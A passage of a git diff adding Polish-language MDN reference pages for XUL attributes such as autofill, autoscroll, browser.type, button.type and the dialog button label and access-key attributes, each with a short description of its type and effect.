+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/autofill
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-autofill"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autofill">autofill</a></code> <span class="inlineIndicator standardNote">Nowość w <a href="https://developer.mozilla.org/pl/docs/Mozilla/Thunderbird/Releases/3">Thunderbird 3</a></span> <span class="inlineIndicator standardNote standardNoteInline">Requires SeaMonkey 2.0</span></dt>
+ <dd>
+ Typ: <i>boolean</i></dd>
+ <dd>
+ Jeśli ustawiony jest na <code>true</code>, najlepsze dopasowanie będzie wybierane w polu tekstowym jako typ użytkownika. Jeśli <code>false</code>, domyślna wartość nie będzie wybrana do momentu aż użytkownik nie zaznaczy pozycji.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/autofillaftermatch/index.html b/files/pl/mozilla/tech/xul/atrybut/autofillaftermatch/index.html
new file mode 100644
index 0000000000..eab54918f3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/autofillaftermatch/index.html
@@ -0,0 +1,17 @@
+---
+title: autoFillAfterMatch
+slug: Mozilla/Tech/XUL/Atrybut/autoFillAfterMatch
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/autoFillAfterMatch
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-autoFillAfterMatch"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoFillAfterMatch">autoFillAfterMatch</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli zwracana jest wartość <code>true</code> cały tekst najlepszego trafienia zostanie wyświetlony na końcu wejścia. Jeśli wartość <code>false</code> tylko wartość, która nie została wyświetlona zostanie wpisana. Atrybut <code id="a-autoFill"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoFill">autoFill</a></code> musi zostać ustawiony na wartość <code>true</code>, by móc korzystać z powyższej własności.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/autoscroll/index.html b/files/pl/mozilla/tech/xul/atrybut/autoscroll/index.html
new file mode 100644
index 0000000000..04d0e59207
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/autoscroll/index.html
@@ -0,0 +1,18 @@
+---
+title: autoscroll
+slug: Mozilla/Tech/XUL/Atrybut/autoscroll
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/autoscroll
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-autoscroll"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/autoscroll">autoscroll</a></code>
+</dt><dd> <b><span class="highlightred">Tylko Firefox</span></b>
+</dd><dd> Typ: <i>boolean</i>
+</dd><dd> Wartość <code>false</code> wyłącza automatyczne przewijanie dla danej przeglądarki. Jeśli atrybut jest ustawiony na <code>true</code> lub zostanie pominięty, automatyczne przewijanie zostanie włączone lub będzie zależne od wartości opcji <code>general.autoScroll</code>.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/beforeselected/index.html b/files/pl/mozilla/tech/xul/atrybut/beforeselected/index.html
new file mode 100644
index 0000000000..ea847f78d8
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/beforeselected/index.html
@@ -0,0 +1,17 @@
+---
+title: beforeselected
+slug: Mozilla/Tech/XUL/Atrybut/beforeselected
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/beforeselected
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-beforeselected"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/beforeselected">beforeselected</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jest ustawiony na <code>true</code>, jeśli karta tuż przed aktualnie zaznaczoną kartą. Ustawienie to jest automatycznie ustawiane i nie powinno się go ustawiać ręcznie. Początkowo znalazło swoją użyteczność w zastosowaniu motywów, tak, że możemy ręcznie dostosować ustawienia zaznaczonej karty.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/browser.type/index.html b/files/pl/mozilla/tech/xul/atrybut/browser.type/index.html
new file mode 100644
index 0000000000..a1476b17de
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/browser.type/index.html
@@ -0,0 +1,22 @@
+---
+title: browser.type
+slug: Mozilla/Tech/XUL/Atrybut/browser.type
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/browser.type
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/browser.type">type</a>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Typ przeglądarki, który może zostać użyty do ustawienia dostępu do dokumentu wczytywanego wewnątrz przeglądarki. Jeśli nie jest ustawiony, wczytywany dokument posiada taki sam dostęp jak okno zawierające <code>&lt;<code><a href="/pl/docs/Mozilla/Tech/XUL/browser" title="browser">browser</a></code>&gt;</code>.
+</dd></dl>
+<ul><li> <code><b>content</b></code>: Przeglądarka zawartości. Zawartość, która jest wczytywana wewnątrz przeglądarki, nie ma dostępu do warstwy chrome ponad nią.
+</li><li> <code><b>content-primary</b></code>: Główna przeglądarka dla zawartości. Zawartość, która jest wczytywana wewnątrz przeglądarki, nie ma dostępu do warstwy chrome ponad nią. Przykładowo, w przeglądarce WWW będzie to element, który wyświetla stronę internetową. Wygodniejszy dostęp do okna dla głównej zawartości zapewnia <code><a href="pl/DOM/window.content">window.content</a></code>.
+</li></ul>
+<h4 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h4>
+<p>Dodatkowe informacje znaleźć można <a href="pl/Kurs_XUL/Panele_tre%c5%9bci">kursie XUL</a> i <code><code><a href="/pl/docs/Mozilla/Tech/XUL/iframe" title="iframe">iframe</a></code></code>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/button.type/index.html b/files/pl/mozilla/tech/xul/atrybut/button.type/index.html
new file mode 100644
index 0000000000..74c0927587
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/button.type/index.html
@@ -0,0 +1,20 @@
+---
+title: button.type
+slug: Mozilla/Tech/XUL/Atrybut/button.type
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/button.type
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <a href="pl/XUL/Atrybut/button.type">type</a>
+</dt><dd> Typ: <i>jedna z wartości poniżej</i>
+</dd><dd> Typ przycisku. Jeśli atrybut nie jest dołączony, zostanie utworzony normalny przycisk. </dd></dl>
+<ul><li> <code>checkbox</code>: Przycisk tego typu może być w dwóch stanach. Naciskając go, użytkownik przełącza między stanami. Nie jest to to samo, co pole wyboru, ponieważ wygląda jak przycisk.
+</li><li> <code>menu</code>: Utworzony zostanie przycisk z wyskakującym menu. W tym przypadku wewnątrz tego elementu należy umieścić element <code><a href="/pl/docs/Mozilla/Tech/XUL/menupopup" title="menupopup">menupopup</a></code>. Użytkownik może nacisnąć gdziekolwiek na przycisku, aby otworzyć lub zamknąć menu. </li><li> <code>menu-button</code>: Również tworzy przycisk z wyskakującym menu. W odróżnieniu od typu <code>menu</code>, typ ten wymaga, by w celu otwarcia menu użytkownik nacisnął strzałkę, natomiast inne polecenie może zostać wywołane, kiedy naciśnie on główną część przycisku.
+</li><li> <code>radio</code>: Przycisk działa tak jak przycisk opcji. Tylko jeden przycisk w grupie może być włączony jednocześnie.
+</li></ul>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyaccept/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyaccept/index.html
new file mode 100644
index 0000000000..8861772796
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyaccept/index.html
@@ -0,0 +1,17 @@
+---
+title: buttonaccesskeyaccept
+slug: Mozilla/Tech/XUL/Atrybut/buttonaccesskeyaccept
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonaccesskeyaccept
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttonaccesskeyaccept"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonaccesskeyaccept">buttonaccesskeyaccept</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Klawisz dostępu dla przycisku 'Akceptuj'.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeycancel/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeycancel/index.html
new file mode 100644
index 0000000000..1c44459b4d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeycancel/index.html
@@ -0,0 +1,17 @@
+---
+title: buttonaccesskeycancel
+slug: Mozilla/Tech/XUL/Atrybut/buttonaccesskeycancel
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonaccesskeycancel
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttonaccesskeycancel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonaccesskeycancel">buttonaccesskeycancel</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Klawisz dostępu dla przycisku &lt;tt&gt;Anuluj&lt;/tt&gt;.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeydisclosure/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeydisclosure/index.html
new file mode 100644
index 0000000000..f59ff4ed58
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeydisclosure/index.html
@@ -0,0 +1,17 @@
+---
+title: buttonaccesskeydisclosure
+slug: Mozilla/Tech/XUL/Atrybut/buttonaccesskeydisclosure
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonaccesskeydisclosure
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttonaccesskeydisclosure"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonaccesskeydisclosure">buttonaccesskeydisclosure</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Klawisz dostępu dla przycisku typu "disclosure" (zwykle "Szczegóły" - przyp. tłum.).
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyextra1/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyextra1/index.html
new file mode 100644
index 0000000000..ca57551eb2
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyextra1/index.html
@@ -0,0 +1,17 @@
+---
+title: buttonaccesskeyextra1
+slug: Mozilla/Tech/XUL/Atrybut/buttonaccesskeyextra1
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonaccesskeyextra1
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttonaccesskeyextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonaccesskeyextra1">buttonaccesskeyextra1</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Klawisz dostępu dla pierwszego przycisku.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyextra2/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyextra2/index.html
new file mode 100644
index 0000000000..13355ee2ec
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyextra2/index.html
@@ -0,0 +1,17 @@
+---
+title: buttonaccesskeyextra2
+slug: Mozilla/Tech/XUL/Atrybut/buttonaccesskeyextra2
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonaccesskeyextra2
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttonaccesskeyextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonaccesskeyextra2">buttonaccesskeyextra2</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Klawisz dostępu dla drugiego dodatkowego przycisku.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyhelp/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyhelp/index.html
new file mode 100644
index 0000000000..b4196d772c
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonaccesskeyhelp/index.html
@@ -0,0 +1,17 @@
+---
+title: buttonaccesskeyhelp
+slug: Mozilla/Tech/XUL/Atrybut/buttonaccesskeyhelp
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonaccesskeyhelp
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttonaccesskeyhelp"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonaccesskeyhelp">buttonaccesskeyhelp</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Klawisz dostępu dla przycisku "Pomoc".
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonalign/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonalign/index.html
new file mode 100644
index 0000000000..46002758f7
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonalign/index.html
@@ -0,0 +1,17 @@
+---
+title: buttonalign
+slug: Mozilla/Tech/XUL/Atrybut/buttonalign
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonalign
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttonalign"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonalign">buttonalign</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość atrybutu <code id="a-align"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/align">align</a></code> dla pudełka zawierającego przyciski.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttondir/index.html b/files/pl/mozilla/tech/xul/atrybut/buttondir/index.html
new file mode 100644
index 0000000000..d51e134dc3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttondir/index.html
@@ -0,0 +1,17 @@
+---
+title: buttondir
+slug: Mozilla/Tech/XUL/Atrybut/buttondir
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttondir
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttondir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttondir">buttondir</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość atrybutu <code id="a-dir"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/dir">dir</a></code> dla pudełka zawierającego przyciski.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttondisabledaccept/index.html b/files/pl/mozilla/tech/xul/atrybut/buttondisabledaccept/index.html
new file mode 100644
index 0000000000..c340a0416d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttondisabledaccept/index.html
@@ -0,0 +1,15 @@
+---
+title: buttondisabledaccept
+slug: Mozilla/Tech/XUL/Atrybut/buttondisabledaccept
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttondisabledaccept
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttondisabledaccept"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttondisabledaccept">buttondisabledaccept</a></code>
+</dt><dd> Typ: <i>boolean</i>
+</dd><dd> Jeśli <code>true</code>, przycisk akceptacji jest początkowo wyłączony.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonlabelaccept/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonlabelaccept/index.html
new file mode 100644
index 0000000000..cb4c9d5034
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonlabelaccept/index.html
@@ -0,0 +1,17 @@
+---
+title: buttonlabelaccept
+slug: Mozilla/Tech/XUL/Atrybut/buttonlabelaccept
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonlabelaccept
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttonlabelaccept"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelaccept">buttonlabelaccept</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta do wyświetlenia na przycisku "Akceptuj".
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonlabelcancel/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonlabelcancel/index.html
new file mode 100644
index 0000000000..590c624d5e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonlabelcancel/index.html
@@ -0,0 +1,21 @@
+---
+title: buttonlabelcancel
+slug: Mozilla/Tech/XUL/Atrybut/buttonlabelcancel
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonlabelcancel
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-buttonlabelcancel"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelcancel">buttonlabelcancel</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Etykieta do wyświetlenia na przycisku "Anuluj".</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonlabeldisclosure/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonlabeldisclosure/index.html
new file mode 100644
index 0000000000..9af170621e
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonlabeldisclosure/index.html
@@ -0,0 +1,21 @@
+---
+title: buttonlabeldisclosure
+slug: Mozilla/Tech/XUL/Atrybut/buttonlabeldisclosure
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonlabeldisclosure
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-buttonlabeldisclosure"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabeldisclosure">buttonlabeldisclosure</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Etykieta do wyświetlenia na przycisku "disclosure".</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonlabelextra1/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonlabelextra1/index.html
new file mode 100644
index 0000000000..f942417b39
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonlabelextra1/index.html
@@ -0,0 +1,17 @@
+---
+title: buttonlabelextra1
+slug: Mozilla/Tech/XUL/Atrybut/buttonlabelextra1
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonlabelextra1
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttonlabelextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra1">buttonlabelextra1</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Etykieta do wyświetlenia na pierwszym dodatkowym przycisku.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonlabelextra2/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonlabelextra2/index.html
new file mode 100644
index 0000000000..863b0b9df3
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonlabelextra2/index.html
@@ -0,0 +1,21 @@
+---
+title: buttonlabelextra2
+slug: Mozilla/Tech/XUL/Atrybut/buttonlabelextra2
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonlabelextra2
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-buttonlabelextra2"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra2">buttonlabelextra2</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Etykieta do wyświetlenia na drugim dodatkowym przycisku.</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonlabelhelp/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonlabelhelp/index.html
new file mode 100644
index 0000000000..9352ee6b76
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonlabelhelp/index.html
@@ -0,0 +1,21 @@
+---
+title: buttonlabelhelp
+slug: Mozilla/Tech/XUL/Atrybut/buttonlabelhelp
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonlabelhelp
+---
+<div class="noinclude">
+ <span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl>
+ <dt>
+ <code id="a-buttonlabelhelp"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelhelp">buttonlabelhelp</a></code></dt>
+ <dd>
+ Typ:
+ <i>
+ string</i>
+ </dd>
+ <dd>
+ Etykieta do wyświetlenia na przycisku "Pomoc".</dd>
+</dl>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonorient/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonorient/index.html
new file mode 100644
index 0000000000..24a2641b7f
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonorient/index.html
@@ -0,0 +1,17 @@
+---
+title: buttonorient
+slug: Mozilla/Tech/XUL/Atrybut/buttonorient
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonorient
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttonorient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonorient">buttonorient</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość atrybutu <code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code> dla pudełka zawierającego przyciski.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttonpack/index.html b/files/pl/mozilla/tech/xul/atrybut/buttonpack/index.html
new file mode 100644
index 0000000000..8416118b5d
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttonpack/index.html
@@ -0,0 +1,17 @@
+---
+title: buttonpack
+slug: Mozilla/Tech/XUL/Atrybut/buttonpack
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttonpack
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttonpack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonpack">buttonpack</a></code>
+</dt><dd> Typ: <i>string</i>
+</dd><dd> Wartość atrybutu <code id="a-pack"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/pack">pack</a></code> dla pudełka zawierającego przyciski.
+</dd></dl>
+<p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/atrybut/buttons/index.html b/files/pl/mozilla/tech/xul/atrybut/buttons/index.html
new file mode 100644
index 0000000000..beb29a9f70
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/atrybut/buttons/index.html
@@ -0,0 +1,21 @@
+---
+title: buttons
+slug: Mozilla/Tech/XUL/Atrybut/buttons
+tags:
+ - Atrybuty_XUL
+ - Dokumentacja_XUL
+translation_of: Archive/Mozilla/XUL/Attribute/buttons
+---
+<div class="noinclude"><span class="breadcrumbs xulRefAttr_breadcrumbs">« <a href="/pl/docs/Dokumentacja_XUL">Dokumentacja XUL</a></span></div>
+<dl><dt> <code id="a-buttons"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttons">buttons</a></code>
+</dt><dd> Typ: <i>rozdzielona przecinkami lista poniższych wartości</i>
+</dd><dd> Rozdzielona przecinkami lista przycisków do wyświetlenia w okienku dialogowym. Przyciski zostaną umieszczone w odpowiednim miejscu w zależności od platformy systemowej użytkownika, a podstawowa obsługa zdarzeń zostanie wykonana automatycznie. Następujące wartości mogą zostać użyte w tej liście:
+</dd></dl>
+<ul><li> <code>accept</code>: Przycisk OK, który będzie akceptował zmiany po naciśnięciu. Ten przycisk będzie także przyciskiem domyślnym. </li><li> <code>cancel</code>: Przycisk Anuluj, który będzie anulował operacje.
+</li><li> <code>help</code>: Przycisk Pomoc służący do wyświetlenia okienka pomocy.
+</li><li> <code>disclosure</code>: Przycisk pokazujący więcej informacji. Może być to przycisk lub trójkąt rozwijający.
+</li><li> <code>extra1</code>: Opcjonalny przycisk dodatkowy. Można ustawić jego etykietę za pomocą atrybutu <code><code id="a-buttonlabelextra1"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/buttonlabelextra1">buttonlabelextra1</a></code></code>.
